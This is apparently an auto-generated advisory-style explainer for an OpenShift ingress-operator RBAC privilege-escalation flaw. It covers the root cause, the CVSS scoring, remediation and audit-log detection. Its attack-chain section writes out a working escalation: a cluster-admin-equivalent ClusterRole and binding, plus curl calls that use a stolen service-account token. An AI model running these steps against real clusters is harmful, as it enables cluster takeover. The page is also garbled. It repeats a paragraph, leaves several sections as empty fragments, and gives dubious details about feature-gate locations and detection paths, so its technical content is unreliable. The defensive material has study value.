CVE-2026-136125 — Red Hat OpenShift Container Platform 5.0 (*) — CWE-269
A flaw was found in OpenShift's cluster-ingress-operator. The `openshift-ingress-operator-sail-library` ClusterRole, applied when the GatewayAPIWithoutOLM feature is enabled, granted the `escalate` and `bind` verbs on RBAC resources along with broad CRUD permissions on secrets, serviceaccounts, namespaces, clusterroles and clusterrolebindings cluster-wide. An attacker able to compromise the ingress-operator service account token could use these permissions to create a cluster-admin-equivalent ClusterRole and bind it to an arbitrary subject, escalating privileges across the cluster.
A flaw was found in OpenShift's cluster-ingress-operator. The `openshift-ingress-operator-sail-library` ClusterRole, applied when the GatewayAPIWithoutOLM feature is enabled, granted the `escalate` and `bind` verbs on RBAC resources along with broad CRUD permissions on secrets, serviceaccounts, namespaces, clusterroles and clusterrolebindings cluster-wide. An attacker able to compromise the ingress-operator service account token could use these permissions to create a cluster-admin-equivalent ClusterRole and bind it to an arbitrary subject, escalating privileges across the cluster.
🎯 What is this vulnerability?
Root cause
The openshift-ingress-operator-sail-library ClusterRole is created automatically when the GatewayAPIWithoutOLM feature flag is enabled.
The role grants unrestricted permissions on the following RBAC resources:
| Resource | Allowed verbs |
|---|---|
secrets | create, update, delete, patch, get, list, watch |
serviceaccounts | CRUD |
namespaces | CRUD |
clusterroles | CRUD |
clusterrolebindings | CRUD |
rbac.authorization.k8s.io (RBAC objects) | escalate, bind |
Because the role is bound to the ingress‑operator service account, any pod running under that account can:
1. Create a new ClusterRole that contains the cluster-admin cluster‑level permissions.
2. Bind that role to any subject (user, group, or service account) via a ClusterRoleBinding.
CWE‑269 – Improper Privilege Management – is the underlying flaw: the operator is granted more privileges than it actually needs. The flaw is not a code‑level bug but a mis‑configured RBAC policy that allows privilege escalation once the operator’s service‑account token is compromised.
CVSS
- AV:N – Attack can be performed over the network.
- AC:L – Low attack complexity; only a token compromise is required.
- PR:H – Requires high privileges to compromise the token (e.g., node compromise, mis‑configured secrets).
- UI:N – No user interaction needed.
- S:C – Scope changes: the attacker can gain cluster‑wide privileges.
- C:H / I:H – Full confidentiality and integrity compromise.
- A:N – Availability is not affected.
⚡ Attack Chain
Prerequisite: The attacker must already have a way to read the ingress‑operator service‑account token.
Common vectors:
* Node compromise → read /var/run/secrets/kubernetes.io/serviceaccount/token from the operator pod.
* Mis‑configured RBAC that allows the attacker to read the token.
* Exploit of a side‑channel (e.g., container escape, insecure volume mounts).
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| Identify OpenShift cluster | curl -k https://<api-server>/version | Returns OpenShift version. |
| Check feature gate | oc get clusterversion -o yaml → look for GatewayAPIWithoutOLM in spec.desiredUpdate or spec.upgradeStrategy. | If true, the vulnerable role is present. |
| Verify ingress‑operator pod | oc get pods -n openshift-ingress-operator -l app=ingress-operator -o wide | Confirm the pod is running and note its service account (openshift-ingress-operator). |
| Inspect the role | oc get clusterrole openshift-ingress-operator-sail-library -o yaml | Observe the verb list; it should contain escalate, bind, and CRUD on the resources listed above. |
Illustrative example (if the exact API endpoint is not documented in the CVE):
> curl -k -H "Authorization: Bearer $TOKEN" \ > https://<api-server>/apis/rbac.authorization.k8s.io/v1/clusterroles/openshift-ingress-operator-sail-library >
2. Exploitation
Once the attacker has the token, they can issue API calls to create a malicious ClusterRole and bind it.
a. Create a cluster‑admin‑equivalent role
# clusterrole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: cluster-admin-evil
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["*"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles", "clusterrolebindings"]
verbs: ["*"]b. Bind the role to an arbitrary subject
# clusterrolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: cluster-admin-evil-binding
subjects:
- kind: User
name: "evil-user"
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: cluster-admin-evil
apiGroup: rbac.authorization.k8s.ioc. API‑server calls (illustrative)
# Assume $TOKEN contains the ingress‑operator service‑account token
API=https://<api-server>
# 1. Create the malicious ClusterRole
curl -k -X POST "$API/apis/rbac.authorization.k8s.io/v1/clusterroles" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d @clusterrole.json
# 2. Create the ClusterRoleBinding
curl -k -X POST "$API/apis/rbac.authorization.k8s.io/v1/clusterrolebindings" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d @clusterrolebinding.jsonNote: The abovecurlcommands are illustrative. The actual API paths are standard for Kubernetes RBAC (/apis/rbac.authorization.k8s.io/v1/...). If the CVE description does not specify the exact URI, the example remains a valid representation of the vulnerability class.
3. Post‑Exploitation
ClusterRole with cluster-admin privileges bound to any subject they choose. 🌍 Real World Impact
| Impact | CVSS Vector | Practical Consequence |
|---|---|---|
| Confidentiality | C:H | All secrets, service‑account tokens, and any data stored in the cluster become readable. |
| Integrity | I:H | Any resource can be altered or deleted, enabling tampering with production workloads, data corruption, or denial‑of‑service via resource exhaustion. |
| Availability | A:N | The vulnerability itself does not directly affect availability, but the attacker can cause outages by deleting critical resources or exhausting cluster quotas. |
Operational fallout
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade OpenShift | Apply the vendor‑supplied patch that removes the escalate and bind verbs from the openshift-ingress-operator-sail-library role and limits CRUD on secrets, serviceaccounts, namespaces, clusterroles, and clusterrolebindings to the minimal set required by the ingress operator. |
| Version guidance | The fix is included in the latest OpenShift release (the exact version number is vendor‑specific; check the vendor’s release notes for the “Ingress Operator RBAC fix”). |
Do not rely on a temporary “work‑around” that only disables the feature flag; the operator may still be running and the token could be compromised.
2. Workarounds (if upgrade is not immediately possible)
| Workaround | Implementation |
|---|---|
| Restrict the ingress‑operator service account | Re‑apply a minimal ClusterRole that only allows the operations actually needed by the operator (e.g., get, list, watch on ingress resources, create/update on services, configmaps). |
| Disable GatewayAPIWithoutOLM | If the feature is not required, set the feature gate to false in the cluster configuration. |
| Token hardening | Ensure the operator pod’s service‑account token is not exposed to other pods (e.g., use automountServiceAccountToken: false on unrelated pods). |
| Audit RBAC | Run oc adm policy who-can and oc adm policy check-scc to verify no other roles have escalate/bind on cluster‑wide resources. |
3. Detection
| Indicator | Log pattern / IoC | How to detect |
|---|---|---|
| Creation of a new ClusterRole with cluster‑admin privileges | POST /apis/rbac.authorization.k8s.io/v1/clusterroles with metadata.name: cluster-admin-evil | Monitor API server audit logs for verb=CREATE on clusterroles where metadata.name matches a suspicious pattern. |
| Creation of a ClusterRoleBinding to an arbitrary subject | POST /apis/rbac.authorization.k8s.io/v1/clusterrolebindings with roleRef.name: cluster-admin-evil | Same audit log monitoring. |
| Unusual token usage | /var/run/secrets/kubernetes.io/serviceaccount/token read by a pod that is not the ingress‑operator | Use audit logs to track GET requests to /v1/namespaces/{ns}/pods/{pod}/proxy/var/run/secrets/kubernetes.io/serviceaccount/token. |
| Unexpected high‑privilege API calls | verb=CREATE or verb=DELETE on secrets, serviceaccounts, namespaces from a pod with the ingress‑operator service account | Correlate pod labels and service accounts in audit logs. |
Sample audit log snippet
{
"kind":"Event",
"apiVersion":"audit.k8s.io/v1",
"level":"Request",
"requestURI":"/apis/rbac.authorization.k8s.io/v1/clusterroles",
"verb":"create",
"user":"system:serviceaccount:openshift-ingress-operator:ingress-operator",
"objectRef":{
"resource":"clusterroles",
"name":"cluster-admin-evil",
"apiVersion":"rbac.authorization.k8s.io/v1"
},
"stage":"ResponseComplete",
"responseStatus":{"metadata":{},"code":201}
}⚠️ Urgency
Recommendation:
escalate or bind on cluster‑wide resources.[🤖 CVE Professor AI Security Engine]
FOFA Query